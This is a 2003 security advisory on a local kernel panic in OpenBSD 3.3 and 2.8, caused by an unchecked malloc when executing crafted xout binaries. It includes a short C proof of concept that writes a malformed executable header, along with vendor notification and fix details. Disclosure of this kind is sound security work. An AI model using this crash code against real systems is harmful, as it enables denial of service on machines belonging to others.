Georgi Guninski security advisory #63, 2003

OpenBSD kernel panic, yet still *BSD much better than windows

Systems affected:
tested on OpenBSD 3.3 and 2.8, probably other versions also affected


Risk: Low
Date: 4 November 2003

Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/msuxobsd1.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
By executing a specially crafted binary it is possible to cause kernel
panic on at least OpenBSD 3.3 and 2.8.

Details:
The problem seems in "ibcs2_exec.c" line 619 of 738 --83%-- col 1-8
    /* read in segment table */
    xs = (struct xseg *)malloc(xep->xe_segsize, M_TEMP, M_WAITOK);
    error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t)xs,

looks like malloc can return null.
Another potential problem is:
"exec_elf.c" line 792 of 827 --95%-- col 6-20
    np = (Elf_Note *)malloc(ph->p_filesz, M_TEMP, M_WAITOK);


The following code snippet demonstrates the problem:
------------------------------------
int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";

fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);

}
------------------------------------

C proggie which demonstrates the problem is available at:
http://www.guninski.com/msuxobsd.c

Note: the openbsd's errata claims the header is invalid, though it is
believed the header to be valid and well formed.

Vendor status:
OpenBSD was notified on Mon, 3 Nov 2003 16:04:40 +0200.
Fix was available in CVS in less than 24 hours.
Fix available at http://www.openbsd.org/errata.html


Regards,
Georgi Guninski
http://www.guninski.com